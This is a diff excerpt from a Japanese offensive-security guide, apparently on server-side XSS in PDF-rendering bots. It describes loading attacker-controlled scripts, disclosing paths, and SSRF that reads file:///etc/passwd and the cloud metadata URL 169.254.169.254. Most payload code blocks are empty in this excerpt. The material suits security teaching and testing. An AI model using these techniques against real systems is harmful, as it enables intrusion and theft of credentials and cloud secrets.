-他の**SVGペイロード**は[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で見つけることができます。 +他の多くの**SVGペイロード**は[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で見つけることができます。 ### パス開示 -```markup +```html @@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing --> ### 外部スクリプトを読み込む この脆弱性を悪用する最も適切な方法は、脆弱性を利用してボットにあなたがローカルで制御するスクリプトを読み込ませることです。そうすれば、ペイロードをローカルで変更し、ボットが毎回同じコードでそれを読み込むようにすることができます。 -```markup +```html ')"/> ``` @@ -82,7 +82,7 @@ if not, you will at least have wich path the bot is accessing --> > `file:///etc/passwd` を `http://169.254.169.254/latest/user-data` に変更して、**外部ウェブページにアクセスを試みてください (SSRF)**。 > > SSRFが許可されているが、興味深いドメインやIPに**到達できない**場合は、[このページを確認してバイパスの可能性を探ってください](../ssrf-server-side-request-forgery/url-format-bypass.md)。 -```markup +```html ``` -```markup +```html ``` -```markup +```html @@ -112,11 +112,11 @@ xhzeem.send(); ``` -```markup +```html ``` ### ボット遅延 -```markup +```html